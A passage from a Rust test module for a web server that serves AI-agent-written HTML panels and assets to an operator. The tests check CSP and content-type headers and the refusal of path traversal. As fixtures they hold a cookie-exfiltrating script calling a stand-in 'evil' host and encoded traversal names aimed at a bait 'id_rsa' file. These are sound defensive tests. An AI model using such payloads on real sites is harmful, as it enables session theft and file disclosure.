4340        .filter(|id| id.starts_with(prefix) || id.ends_with(prefix));
4341    match (hits.next(), hits.next()) {
4342        (Some(one), None) => Ok(one),
4343        (None, _) => Err(ApiError::not_found(format!("no {what} matches `{prefix}`"))),
4344        (Some(a), Some(b)) => Err(ApiError::bad_request(format!(
4345            "`{prefix}` matches more than one {what}, including {a} and {b}"
4346        ))),
4347    }
4348}
4349
4350#[cfg(test)]
4351mod tests {
4352    use pretty_assertions::assert_eq;
4353    use serde_json::Value;
4354    use tempfile::TempDir;
4355    use tokio::io::{AsyncReadExt as _, AsyncWriteExt as _};
4356
4357    use super::*;
4358    use crate::config::Config;
4359    use crate::queue::{Source, TaskStatus};
4360
4361    /// How many 10ms steps a settle loop takes before it calls a stall a
4362    /// stall - thirty seconds.
4363    ///
4364    /// These loops wait on real `sh` subprocesses, and the machine that runs
4365    /// the gate runs several suites at once, so a two-second budget was not
4366    /// waiting for the reply, it was racing the scheduler: two of these
4367    /// tests failed under that load with the turn simply not landed yet.
4368    /// This is a hang guard, not a latency assertion - every loop breaks the
4369    /// moment its condition holds, so a generous cap costs an idle machine
4370    /// nothing and still fails a genuine hang instead of hanging the suite.
4371    const SETTLE_STEPS: usize = 3_000;
4372
4373    /// A home with a queue and a runs directory, and a router serving it on
4374    /// loopback. `tower`'s `oneshot` is not reachable - `tower` is axum's
4375    /// dependency, not ours - so the tests drive a real socket, which has the
4376    /// side benefit of asserting the status line and content types the phone
4377    /// actually receives.
4378    struct Fixture {
4379        home: TempDir,
4380        addr: SocketAddr,
4381    }
4382
4383    impl Fixture {
4384        async fn start() -> Self {
4385            Self::with_loop(launch_idle).await
4386        }
4387
4388        /// A fixture whose loop is `launch`.
4389        async fn with_loop(launch: Launch) -> Self {
4390            let home = TempDir::new().expect("temp home");
4391            let addr = Self::serve(home.path(), PathBuf::from("/repo/magi"), launch).await;
4392            Self { home, addr }
4393        }
4394
4395        /// A fixture whose `ui.repo` is a real directory rather than the
4396        /// usual placeholder - for the routes that read config off it
4397        /// (`GET /api/repos`) and would otherwise have nothing to discover.
4398        async fn with_repo(repo: PathBuf) -> Self {
4399            let home = TempDir::new().expect("temp home");
4400            let addr = Self::serve(home.path(), repo, launch_idle).await;
4401            Self { home, addr }
4402        }
4403
4404        async fn serve(home: &FsPath, repo: PathBuf, launch: Launch) -> SocketAddr {
4405            let queue = Queue::at(home.join("queue"));
4406            let runs = home.join("runs");
4407            std::fs::create_dir_all(&runs).expect("runs dir");
4408            let worktrees = home.join("wt").join("magi");
4409            std::fs::create_dir_all(&worktrees).expect("worktrees dir");
4410            let ui = Ui::new(
4411                queue,
4412                Questions::at(home.join("questions")),
4413                Talks::at(home.join("talks")),
4414                runs,
4415                home.to_path_buf(),
4416                repo,
4417            )
4418            .with_worktrees_root(worktrees)
4419            .with_launch(launch);
4420            let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
4421                .await
4422                .expect("bind loopback");
4423            let addr = listener.local_addr().expect("local addr");
4424            tokio::spawn(async move {
4425                let _ = axum::serve(listener, ui.router()).await;
4426            });
4427            addr
4428        }
4429
4430        fn queue(&self) -> Queue {
4431            Queue::at(self.home.path().join("queue"))
4432        }
4433
4434        fn questions(&self) -> Questions {
4435            Questions::at(self.home.path().join("questions"))
4436        }
4437
4438        fn talks(&self) -> Talks {
4439            Talks::at(self.home.path().join("talks"))
4440        }
4441
4442        fn runs(&self) -> PathBuf {
4443            self.home.path().join("runs")
4444        }
4445
4446        async fn get(&self, path: &str) -> Res {
4447            request(self.addr, "GET", path, None).await
4448        }
4449
4450        /// The status and headers without the body, which is how the front end
4451        /// preflights a panel: a sandboxed frame is opaque to the parent
4452        /// document, so the only way to tell "no panel" from "a panel that
4453        /// rendered blank" is to ask before mounting.
4454        async fn head(&self, path: &str) -> Res {
4455            request(self.addr, "HEAD", path, None).await
4456        }
4457
4458        async fn post(&self, path: &str, body: Option<&str>) -> Res {
4459            request(self.addr, "POST", path, body).await
4460        }
4461
4462        async fn get_with(&self, path: &str, extra: &[(&str, &str)]) -> Res {
4463            request_with(self.addr, "GET", path, None, extra).await
4464        }
4465
4466        async fn delete(&self, path: &str) -> Res {
4467            request(self.addr, "DELETE", path, None).await
4468        }
4469
4470        /// `POST` a raw body with its own headers - see [`request_bytes`].
4471        async fn post_bytes(&self, path: &str, headers: &[(&str, &str)], body: &[u8]) -> Res {
4472            request_bytes(self.addr, path, headers, body).await
4473        }
4474    }
4475
4476    struct Res {
4477        status: u16,
4478        headers: String,
4479        /// The header block with its original casing, for the assertions that
4480        /// compare a header *value* rather than looking for a name. Lowercasing
4481        /// a CSP would hide a directive spelled with a capital letter, and the
4482        /// whole point of that test is that the string is exactly right.
4483        head: String,
4484        body: String,
4485        /// The body before any UTF-8 handling, for the routes that serve
4486        /// something other than text. A panel asset is a PNG as often as not,
4487        /// and `from_utf8_lossy` would silently replace half of it.
4488        bytes: Vec<u8>,
4489    }
4490
4491    impl Res {
4492        fn json(&self) -> Value {
4493            serde_json::from_str(&self.body)
4494                .unwrap_or_else(|e| panic!("body is not json ({e}): {}", self.body))
4495        }
4496
4497        /// One header's value verbatim, or `None` when it was not sent.
4498        fn header(&self, name: &str) -> Option<&str> {
4499            self.head.lines().find_map(|line| {
4500                let (key, value) = line.split_once(':')?;
4501                key.trim()
4502                    .eq_ignore_ascii_case(name)
4503                    .then(|| value.trim_start().trim_end_matches('\r'))
4504            })
4505        }
4506    }
4507
4508    /// A one-shot HTTP/1.1 client. `Connection: close` is what lets the reply
4509    /// be read to end-of-stream without parsing framing.
4510    async fn request(addr: SocketAddr, method: &str, path: &str, body: Option<&str>) -> Res {
4511        request_with(addr, method, path, body, &[]).await
4512    }
4513
4514    /// As [`request`], with extra request headers - conditional GETs need
4515    /// `If-None-Match`, and a server that sets an `ETag` it never compares is
4516    /// worse than one that sets none.
4517    async fn request_with(
4518        addr: SocketAddr,
4519        method: &str,
4520        path: &str,
4521        body: Option<&str>,
4522        extra: &[(&str, &str)],
4523    ) -> Res {
4524        let mut head = format!("{method} {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
4525        for (name, value) in extra {
4526            head.push_str(&format!("{name}: {value}\r\n"));
4527        }
4528        if let Some(body) = body {
4529            head.push_str("Content-Type: application/json\r\n");
4530            head.push_str(&format!("Content-Length: {}\r\n", body.len()));
4531        }
4532        head.push_str("\r\n");
4533        if let Some(body) = body {
4534            head.push_str(body);
4535        }
4536        let mut socket = tokio::net::TcpStream::connect(addr)
4537            .await
4538            .expect("connect to the test server");
4539        socket
4540            .write_all(head.as_bytes())
4541            .await
4542            .expect("write request");
4543        let mut raw = Vec::new();
4544        socket.read_to_end(&mut raw).await.expect("read response");
4545        // Split on the raw bytes rather than on a lossy string, so a binary
4546        // body survives to be compared byte for byte.
4547        let split = raw
4548            .windows(4)
4549            .position(|w| w == b"\r\n\r\n")
4550            .expect("a header block");
4551        let head = String::from_utf8_lossy(&raw[..split]).into_owned();
4552        let bytes = raw[split + 4..].to_vec();
4553        let status = head
4554            .lines()
4555            .next()
4556            .and_then(|line| line.split_whitespace().nth(1))
4557            .and_then(|code| code.parse().ok())
4558            .expect("a status line");
4559        Res {
4560            status,
4561            headers: head.to_lowercase(),
4562            head,
4563            body: String::from_utf8_lossy(&bytes).into_owned(),
4564            bytes,
4565        }
4566    }
4567
4568    /// A `POST` carrying a raw binary body and its own headers, for the
4569    /// attachment upload route - `request_with` only ever sends
4570    /// `Content-Type: application/json`, which is wrong for an image and
4571    /// would corrupt anything not valid UTF-8 by round-tripping it through
4572    /// `&str` first.
4573    async fn request_bytes(
4574        addr: SocketAddr,
4575        path: &str,
4576        headers: &[(&str, &str)],
4577        body: &[u8],
4578    ) -> Res {
4579        let mut head = format!("POST {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
4580        for (name, value) in headers {
4581            head.push_str(&format!("{name}: {value}\r\n"));
4582        }
4583        head.push_str(&format!("Content-Length: {}\r\n\r\n", body.len()));
4584        let mut socket = tokio::net::TcpStream::connect(addr)
4585            .await
4586            .expect("connect to the test server");
4587        socket
4588            .write_all(head.as_bytes())
4589            .await
4590            .expect("write request head");
4591        socket.write_all(body).await.expect("write request body");
4592        let mut raw = Vec::new();
4593        socket.read_to_end(&mut raw).await.expect("read response");
4594        let split = raw
4595            .windows(4)
4596            .position(|w| w == b"\r\n\r\n")
4597            .expect("a header block");
4598        let head = String::from_utf8_lossy(&raw[..split]).into_owned();
4599        let bytes = raw[split + 4..].to_vec();
4600        let status = head
4601            .lines()
4602            .next()
4603            .and_then(|line| line.split_whitespace().nth(1))
4604            .and_then(|code| code.parse().ok())
4605            .expect("a status line");
4606        Res {
4607            status,
4608            headers: head.to_lowercase(),
4609            head,
4610            body: String::from_utf8_lossy(&bytes).into_owned(),
4611            bytes,
4612        }
4613    }
4614
4615    /// A run on disk, without touching the process-global magi home.
4616    fn write_run(runs: &FsPath, id: &str, status: RunStatus) {
4617        let mut state = RunState::new(
4618            PathBuf::from("/repo/magi"),
4619            "main".to_owned(),
4620            "0123456789abcdef".to_owned(),
4621            "Add a web UI\n\nMobile first.".to_owned(),
4622            Config::default(),
4623        );
4624        state.id = id.to_owned();
4625        state.status = status;
4626        let dir = runs.join(id);
4627        std::fs::create_dir_all(&dir).expect("run dir");
4628        std::fs::write(
4629            dir.join("run.json"),
4630            serde_json::to_string_pretty(&state).expect("serialize run"),
4631        )
4632        .expect("write run.json");
4633    }
4634
4635    fn write_daemon(home: &FsPath, updated_at: Timestamp) {
4636        let body = serde_json::json!({
4637            "schema": 1,
4638            "pid": 4242,
4639            "started_at": Timestamp::now().to_string(),
4640            "updated_at": updated_at.to_string(),
4641            "idle": false,
4642            "current": [{ "task": "20260902-140501-aaaa", "run": "20260902-140502-bbbb" }],
4643            "completed": 7,
4644            "polls": 143,
4645        });
4646        std::fs::write(home.join("daemon.json"), body.to_string()).expect("write daemon.json");
4647    }
4648
4649    /// A loop that starts, finds nothing to do, and waits to be told to stop.
4650    ///
4651    /// No test in this file may start the real loop - see [`Ui::launch`] for
4652    /// why - so this stands in for the only thing the routes need a loop to
4653    /// do: keep running until `Stop` is set, then return. A real
4654    /// `serve_until` here would resolve its queue and its status file through
4655    /// the process-global magi home, claim whatever it found in the
4656    /// operator's live backlog, overwrite the status file of the `magi serve`
4657    /// that owns it, and spend real agent quota on a real competition.
4658    fn launch_idle(
4659        _opts: daemon::Opts,
4660        stop: daemon::Stop,
4661    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
4662        Box::pin(async move {
4663            while !stop.stopped() {
4664                tokio::time::sleep(Duration::from_millis(2)).await;
4665            }
4666            Ok(())
4667        })
4668    }
4669
4670    /// A loop that fails on the way up, the way one whose home has gone
4671    /// read-only does.
4672    fn launch_broken(
4673        _opts: daemon::Opts,
4674        _stop: daemon::Stop,
4675    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
4676        Box::pin(async {
4677            Err(anyhow::anyhow!(
4678                "publish the daemon status file: read-only file system"
4679            ))
4680        })
4681    }
4682
4683    /// The address the parking loop knocks on, and what it heard there.
4684    ///
4685    /// A [`Launch`] is a plain function pointer, so a stand-in loop cannot
4686    /// capture a fixture's address; this is how it is handed one. Only
4687    /// `the_deck_answers_while_it_parks_and_frees_the_address_first` touches
4688    /// these, so nothing else in this binary can race them.
4689    static PARK_KNOCK: std::sync::Mutex<Option<SocketAddr>> = std::sync::Mutex::new(None);
4690    static PARK_HEARD: std::sync::Mutex<Option<u16>> = std::sync::Mutex::new(None);
4691
4692    /// A loop that, once it is asked to stop, checks the deck still answers
4693    /// before it goes.
4694    ///
4695    /// It stands in for a run mid-node: `finish_loop` waits for this future,
4696    /// so the request it makes is strictly inside the park window - no sleep
4697    /// and no polling needed to be sure of that.
4698    fn launch_knocking_on_the_way_out(
4699        _opts: daemon::Opts,
4700        stop: daemon::Stop,
4701    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
4702        Box::pin(async move {
4703            while !stop.stopped() {
4704                tokio::time::sleep(Duration::from_millis(2)).await;
4705            }
4706            let addr = PARK_KNOCK
4707                .lock()
4708                .expect("park knock")
4709                .expect("the test set an address");
4710            let heard = request(addr, "GET", "/api/health", None).await.status;
4711            *PARK_HEARD.lock().expect("park heard") = Some(heard);
4712            Ok(())
4713        })
4714    }
4715
4716    /// The loop view once `want` accepts it.
4717    ///
4718    /// Polled rather than asserted straight after the POST because stopping
4719    /// is deliberately not instant - that is the contract - and rather than
4720    /// slept through because a fixed wait is either flaky or slow.
4721    /// `SETTLE_STEPS` is far longer than a stand-in loop needs and still
4722    /// finite, so a genuine hang fails the test instead of hanging the
4723    /// suite.
4724    async fn settled(fx: &Fixture, want: fn(&Value) -> bool) -> Value {
4725        for _ in 0..SETTLE_STEPS {
4726            let view = fx.get("/api/loop").await.json();
4727            if want(&view) {
4728                return view;
4729            }
4730            tokio::time::sleep(Duration::from_millis(10)).await;
4731        }
4732        panic!(
4733            "the loop never settled: {}",
4734            fx.get("/api/loop").await.json()
4735        );
4736    }
4737
4738    /// File an open question directly in the store the server reads.
4739    fn ask(fx: &Fixture, summary: &str, choices: &[&str]) -> String {
4740        let store = fx.questions();
4741        let mut q = Question::new(
4742            "20260902-000000-beef".to_owned(),
4743            "implement".to_owned(),
4744            "impl-A".to_owned(),
4745            summary.to_owned(),
4746            "because it matters".to_owned(),
4747            choices.iter().map(|c| (*c).to_owned()).collect(),
4748        );
4749        store.put(&mut q).expect("put question");
4750        q.id
4751    }
4752
4753    /// A question with a panel the server can serve, plus the named assets.
4754    ///
4755    /// Written through `Questions::put_panel` rather than by laying out the
4756    /// directory here, so these tests exercise the same on-disk shape the
4757    /// agents produce and cannot pass against a layout only the tests know.
4758    fn panel(fx: &Fixture, html: &str, assets: &[(&str, &[u8])]) -> String {
4759        let store = fx.questions();
4760        let mut q = Question::new(
4761            "20260902-000000-beef".to_owned(),
4762            "land".to_owned(),
4763            "fix".to_owned(),
4764            "Merge this?".to_owned(),
4765            "the diff is in the panel".to_owned(),
4766            vec!["merge".to_owned(), "hold".to_owned()],
4767        );
4768        // Staged outside the questions root, because `put_panel` copies from
4769        // wherever the agent left its files.
4770        let staging = fx.home.path().join("staging");
4771        std::fs::create_dir_all(&staging).expect("staging dir");
4772        let sources: Vec<PathBuf> = assets
4773            .iter()
4774            .map(|(name, bytes)| {
4775                let path = staging.join(name);
4776                std::fs::write(&path, bytes).expect("write staged asset");
4777                path
4778            })
4779            .collect();
4780        store
4781            .put_panel(&mut q, html, &sources)
4782            .expect("write the panel");
4783        store.put(&mut q).expect("put question");
4784        q.id
4785    }
4786
4787    /// A talk on disk, without talking to a model.
4788    ///
4789    /// Written as JSON straight into the store the server reads, because the
4790    /// only constructor `talk::begin` offers takes no turn but still requires
4791    /// a real caller-visible flow. The one thing this cannot make up is the
4792    /// seat, so it is built with the real `SeatState::new` and serialized -
4793    /// the alternative, hand-writing that object, would make these tests fail
4794    /// the day the seat gains a field.
4795    fn seed_talk(fx: &Fixture, id: &str, status: &str) -> String {
4796        let store = fx.talks();
4797        std::fs::create_dir_all(store.root()).expect("talks dir");
4798        let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "mock", 7))
4799            .expect("serialize a seat");
4800        let body = serde_json::json!({
4801            "schema": 1,
4802            "id": id,
4803            "repo": "/repo/magi",
4804            "agent": "mock",
4805            "status": status,
4806            "turns": [],
4807            "created_at": Timestamp::now().to_string(),
4808            "updated_at": Timestamp::now().to_string(),
4809            "seat": seat,
4810        });
4811        std::fs::write(store.path_of(id), body.to_string()).expect("write the talk");
4812        store.get(id).expect("the seeded talk has to be readable");
4813        id.to_owned()
4814    }
4815
4816    #[tokio::test]
4817    async fn both_panel_routes_send_the_whole_policy_that_makes_agent_html_safe() {
4818        let fx = Fixture::start().await;
4819        let id = panel(
4820            &fx,
4821            "<h1>Merge?</h1><img src=\"diff.svg\">",
4822            &[("diff.svg", b"<svg xmlns='http://www.w3.org/2000/svg'/>")],
4823        );
4824
4825        for path in [
4826            format!("/api/questions/{id}/panel"),
4827            format!("/api/questions/{id}/asset/diff.svg"),
4828        ] {
4829            let res = fx.get(&path).await;
4830            assert_eq!(res.status, 200, "{path}: {}", res.body);
4831            // The whole string, not a substring. A weakened directive - an
4832            // `img-src *` that lets a panel beacon out to a remote host, a
4833            // `script-src` anything, a missing `form-action` that lets it post
4834            // the owner's decision to a third party - has to fail here, and a
4835            // `contains` assertion would let every one of those through.
4836            assert_eq!(
4837                res.header("content-security-policy"),
4838                Some(
4839                    "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
4840                     font-src data:; base-uri 'none'; form-action 'none'; \
4841                     frame-ancestors 'self'"
4842                ),
4843                "{path} is the only thing between a hostile panel and the tailnet"
4844            );
4845            assert_eq!(
4846                res.header("x-content-type-options"),
4847                Some("nosniff"),
4848                "{path}: a browser must not re-decide the type we sent"
4849            );
4850            assert_eq!(
4851                res.header("referrer-policy"),
4852                Some("no-referrer"),
4853                "{path}: a panel must not leak the question id off the machine"
4854            );
4855
4856            // The front end mounts the frame only after a `HEAD` says the
4857            // panel is there, so `HEAD` has to answer with the same status and
4858            // the same policy as `GET` - a preflight that came back without
4859            // the CSP would mean a frame mounted on an unverified promise.
4860            let pre = fx.head(&path).await;
4861            assert_eq!(pre.status, res.status, "{path}: HEAD must agree with GET");
4862            assert_eq!(
4863                pre.header("content-security-policy"),
4864                res.header("content-security-policy"),
4865                "{path}: the preflight carries the same policy"
4866            );
4867            assert_eq!(
4868                pre.header("content-type"),
4869                res.header("content-type"),
4870                "{path}: the preflight carries the same type"
4871            );
4872        }
4873    }
4874
4875    #[tokio::test]
4876    async fn a_panel_reaches_the_browser_byte_for_byte() {
4877        let fx = Fixture::start().await;
4878        // Markup a sanitiser would be tempted to touch: a stray `<`, a script
4879        // tag, an entity, and a multi-byte character. The sandbox is what makes
4880        // this safe, so nothing here may be rewritten on the way out - a
4881        // rewritten diff is a diff the owner cannot trust.
4882        let html = "<h1>Merge?</h1><p>a &lt; b — 変更</p><script>alert(1)</script>";
4883        let id = panel(&fx, html, &[]);
4884
4885        let res = fx.get(&format!("/api/questions/{id}/panel")).await;
4886
4887        assert_eq!(res.status, 200);
4888        assert_eq!(res.bytes, html.as_bytes(), "served verbatim, not sanitised");
4889        assert_eq!(res.header("content-type"), Some("text/html; charset=utf-8"));
4890        assert_eq!(
4891            res.header("content-disposition"),
4892            None,
4893            "the panel itself is rendered in the frame, not downloaded"
4894        );
4895    }
4896
4897    #[tokio::test]
4898    async fn an_svg_asset_is_a_download_and_a_png_is_not() {
4899        let fx = Fixture::start().await;
4900        let svg = b"<svg xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>";
4901        let png = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR".as_slice();
4902        let id = panel(
4903            &fx,
4904            "<img src=\"diff.svg\"><img src=\"shot.png\">",
4905            &[("diff.svg", svg), ("shot.png", png)],
4906        );
4907
4908        let as_svg = fx.get(&format!("/api/questions/{id}/asset/diff.svg")).await;
4909        let as_png = fx.get(&format!("/api/questions/{id}/asset/shot.png")).await;
4910
4911        assert_eq!(as_svg.status, 200);
4912        assert_eq!(as_svg.header("content-type"), Some("image/svg+xml"));
4913        // An SVG is XML that may carry script. Inside the panel it is an
4914        // `<img src>` and the script cannot run; opened at the top level it
4915        // would be a document on magi's own origin, so the browser is told to
4916        // download it instead of rendering it.
4917        assert_eq!(as_svg.header("content-disposition"), Some("attachment"));
4918
4919        assert_eq!(as_png.status, 200);
4920        assert_eq!(as_png.header("content-type"), Some("image/png"));
4921        assert_eq!(
4922            as_png.header("content-disposition"),
4923            None,
4924            "a raster image has no execution surface, so tapping it still shows it"
4925        );
4926        assert_eq!(as_png.bytes, png, "a binary asset survives the round trip");
4927    }
4928
4929    #[tokio::test]
4930    async fn an_html_asset_is_never_served_as_html() {
4931        let fx = Fixture::start().await;
4932        let id = panel(
4933            &fx,
4934            "<p>see the notes</p>",
4935            &[
4936                (
4937                    "notes.html",
4938                    b"<script>fetch('http://evil/'+document.cookie)</script>",
4939                ),
4940                ("hook.js", b"fetch('http://evil/')"),
4941                ("data.json", b"{}"),
4942                ("HEADLINE.TXT", b"plain"),
4943            ],
4944        );
4945
4946        for name in ["notes.html", "hook.js", "data.json"] {
4947            let res = fx.get(&format!("/api/questions/{id}/asset/{name}")).await;
4948            assert_eq!(res.status, 200, "{name}: {}", res.body);
4949            // Serving this as text/html would be a way to reach agent markup
4950            // at the top level of the operator's browser, outside the frame's
4951            // sandbox and outside its CSP - which is the whole thing the panel
4952            // design exists to prevent. Unlisted types are downloads.
4953            assert_eq!(
4954                res.header("content-type"),
4955                Some("application/octet-stream"),
4956                "{name} must not be a type the browser will execute or render"
4957            );
4958        }
4959        // The whitelist is matched case-insensitively, so an agent shouting the
4960        // extension still gets a readable file rather than a download.
4961        let txt = fx
4962            .get(&format!("/api/questions/{id}/asset/HEADLINE.TXT"))
4963            .await;
4964        assert_eq!(
4965            txt.header("content-type"),
4966            Some("text/plain; charset=utf-8")
4967        );
4968    }
4969
4970    #[tokio::test]
4971    async fn no_spelling_of_a_traversing_asset_name_reaches_the_filesystem() {
4972        let fx = Fixture::start().await;
4973        let id = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
4974        // Something outside the panel directory that a traversal would reach if
4975        // one got through, so a passing test is not merely "the file was
4976        // missing anyway".
4977        std::fs::write(fx.questions().root().join("id_rsa"), b"secret").expect("write the bait");
4978
4979        // Decoded before this server's handler sees them: axum percent-decodes
4980        // path parameters, so `name` arrives as `../id_rsa`, `..\id_rsa` and a
4981        // string with a NUL in it. All three look like ordinary single-segment
4982        // filenames to the router, so the router passes them through and
4983        // `valid_asset_name` is what refuses them - for the literal `..`, and
4984        // for `/`, `\` and NUL not being in the permitted character set.
4985        for encoded in [
4986            "%2e%2e%2fid_rsa",
4987            "..%2fid_rsa",
4988            "..%5cid_rsa",
4989            "%2e%2e%5cid_rsa",
4990            "diff%00.svg",
4991            "..",
4992            ".hidden",
4993            "%2e%2e%2f%2e%2e%2fid_rsa",
4994        ] {
4995            let res = fx
4996                .get(&format!("/api/questions/{id}/asset/{encoded}"))
4997                .await;
4998            assert_eq!(
4999                res.status, 400,
5000                "`{encoded}` has to be refused by name, not looked up: {}",
5001                res.body
5002            );
5003            assert!(res.json()["error"].is_string(), "{}", res.body);
5004        }
5005
5006        // Not decoded, and never this handler's problem: a real slash makes the
5007        // request one segment too long for `/api/questions/{id}/asset/{name}`,
5008        // so axum's router has no route to match and answers before any code
5009        // here runs. Asserted so that a future route with a wildcard segment
5010        // cannot quietly open this door.
5011        for literal in ["../id_rsa", "../../questions/id_rsa", "..%5c../id_rsa"] {
5012            let res = fx
5013                .get(&format!("/api/questions/{id}/asset/{literal}"))
5014                .await;
5015            assert_eq!(
5016                res.status, 404,
5017                "`{literal}` must not match the asset route at all: {}",
5018                res.body
5019            );
5020        }
5021    }
5022
5023    #[tokio::test]
5024    async fn a_missing_panel_and_an_unknown_asset_are_both_json_404s() {
5025        let fx = Fixture::start().await;
5026        let plain = ask(&fx, "Which backend?", &["SQLite"]);
5027        let with_panel = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
5028
5029        // A question nobody wrote a panel for. The client preflights with HEAD
5030        // and cannot see inside a sandboxed frame, so this must be a status and
5031        // not an empty page.
5032        let none = fx.get(&format!("/api/questions/{plain}/panel")).await;
5033        assert_eq!(none.status, 404, "{}", none.body);
5034        assert!(none.json()["error"].is_string(), "{}", none.body);
5035        assert_eq!(
5036            fx.head(&format!("/api/questions/{plain}/panel"))
5037                .await
5038                .status,
5039            404,
5040            "the preflight is the only way the client can learn this"
5041        );
5042
5043        // A name that is perfectly legal and simply is not there.
5044        let missing = fx
5045            .get(&format!("/api/questions/{with_panel}/asset/absent.png"))
5046            .await;
5047        assert_eq!(missing.status, 404, "{}", missing.body);
5048        assert!(missing.json()["error"].is_string(), "{}", missing.body);
5049
5050        // A question that does not exist at all, on both routes.
5051        assert_eq!(fx.get("/api/questions/nope/panel").await.status, 404);
5052        assert_eq!(
5053            fx.get("/api/questions/nope/asset/diff.svg").await.status,
5054            404
5055        );
5056    }
5057
5058    #[tokio::test]
5059    async fn a_run_with_an_open_question_reads_as_waiting() {
5060        let fx = Fixture::start().await;
5061        let run = "20260902-000000-beef".to_owned();
5062        write_run(&fx.runs(), &run, RunStatus::Implementing);
5063
5064        let before = fx.get("/api/runs").await.json();
5065        assert_eq!(before[0]["waiting"], false, "{before}");
5066
5067        let store = fx.questions();
5068        let mut q = Question::new(
5069            run.clone(),
5070            "implement".to_owned(),
5071            "impl-A".to_owned(),
5072            "Which backend?".to_owned(),
5073            String::new(),
5074            vec!["SQLite".to_owned()],
5075        );
5076        store.put(&mut q).expect("put");
5077
5078        let during = fx.get("/api/runs").await.json();
5079        assert_eq!(during[0]["waiting"], true, "{during}");
5080
5081        // Answered: the run is moving again, and the flag has to follow without
5082        // anything having rewritten run.json.
5083        q.answer(Answer::Choice("SQLite".to_owned()))
5084            .expect("answer");
5085        store.put(&mut q).expect("put");
5086        let after = fx.get("/api/runs").await.json();
5087        assert_eq!(after[0]["waiting"], false, "{after}");
5088    }
5089
5090    #[tokio::test]
5091    async fn an_open_question_is_listed_and_counted_by_health() {
5092        let fx = Fixture::start().await;
5093        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
5094
5095        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
5096        let listed = fx.get("/api/questions").await.json();
5097        assert_eq!(listed.as_array().expect("array").len(), 1);
5098        assert_eq!(listed[0]["id"], id);
5099        assert_eq!(listed[0]["status"], "open");
5100        assert_eq!(listed[0]["choices"][1], "Redis");
5101        // The count is what makes the phone's indicator honest: it is the one
5102        // number meaning nothing will move until a human acts.
5103        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
5104    }
5105
5106    #[tokio::test]
5107    async fn answering_records_the_choice_and_a_second_answer_conflicts() {
5108        let fx = Fixture::start().await;
5109        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
5110        let path = format!("/api/questions/{id}/answer");
5111
5112        let res = fx.post(&path, Some(r#"{"choice":"Redis"}"#)).await;
5113        assert_eq!(res.status, 200, "{}", res.body);
5114        let body = res.json();
5115        assert_eq!(body["status"], "answered");
5116        assert_eq!(body["answer"]["choice"], "Redis");
5117
5118        // Answered from the terminal in between the list and the tap: the UI
5119        // must be able to tell this from a bad request, so it can show the
5120        // recorded answer instead of an error.
5121        let again = fx.post(&path, Some(r#"{"choice":"SQLite"}"#)).await;
5122        assert_eq!(again.status, 409, "{}", again.body);
5123        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
5124    }
5125
5126    #[tokio::test]
5127    async fn saying_something_appends_a_turn_without_answering() {
5128        let fx = Fixture::start().await;
5129        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
5130        let path = format!("/api/questions/{id}/say");
5131
5132        let res = fx
5133            .post(&path, Some(r#"{"body":"why not Postgres?"}"#))
5134            .await;
5135        assert_eq!(res.status, 200, "{}", res.body);
5136        let body = res.json();
5137        assert_eq!(body["status"], "open", "talking back is not a decision");
5138        assert_eq!(body["answer"], Value::Null);
5139        assert_eq!(body["thread"][0]["who"], "operator");
5140        assert_eq!(body["thread"][0]["body"], "why not Postgres?");
5141        assert_eq!(body["waiting_on_agent"], true);
5142        // Still open, still counted, still exactly one question.
5143        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
5144    }
5145
5146    #[tokio::test]
5147    async fn asking_back_clears_the_owner_count_until_the_agent_replies() {
5148        let fx = Fixture::start().await;
5149        let store = fx.questions();
5150        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
5151        assert_eq!(
5152            fx.get("/api/health").await.json()["questions_needs_owner"],
5153            1
5154        );
5155
5156        // The owner asks back instead of deciding: the ask bar, the nav badge
5157        // and the title must stop naming this question, because there is
5158        // nothing to decide until the agent answers - `status` alone cannot
5159        // say that, which is the whole reason `questions_needs_owner` exists
5160        // alongside `questions_open`.
5161        let res = fx
5162            .post(
5163                &format!("/api/questions/{id}/say"),
5164                Some(r#"{"body":"why not Postgres?"}"#),
5165            )
5166            .await;
5167        assert_eq!(res.status, 200, "{}", res.body);
5168        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
5169        assert_eq!(
5170            fx.get("/api/health").await.json()["questions_needs_owner"],
5171            0,
5172            "waiting on the agent is not waiting on the owner"
5173        );
5174
5175        // `magi ask --thread` replying is what brings the owner count back -
5176        // the same event that would resume the CLI call blocked in `magi
5177        // ask`.
5178        let mut q = store.get(&id).expect("get");
5179        q.reply("because SQLite needs no server", vec!["SQLite".to_owned()])
5180            .expect("reply");
5181        store.put(&mut q).expect("put");
5182        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
5183        assert_eq!(
5184            fx.get("/api/health").await.json()["questions_needs_owner"],
5185            1,
5186            "the agent's reply is what should light the banner back up"
5187        );
5188    }
5189
5190    #[tokio::test]
5191    async fn saying_something_is_refused_when_empty_answered_or_abandoned() {
5192        let fx = Fixture::start().await;
5193        let store = fx.questions();
5194
5195        let empty_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
5196        let res = fx
5197            .post(
5198                &format!("/api/questions/{empty_id}/say"),
5199                Some(r#"{"body":"   "}"#),
5200            )
5201            .await;
5202        assert_eq!(res.status, 400, "{}", res.body);
5203
5204        let answered_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
5205        let mut answered = store.get(&answered_id).expect("get");
5206        answered
5207            .answer(Answer::Choice("SQLite".to_owned()))
5208            .expect("answer");
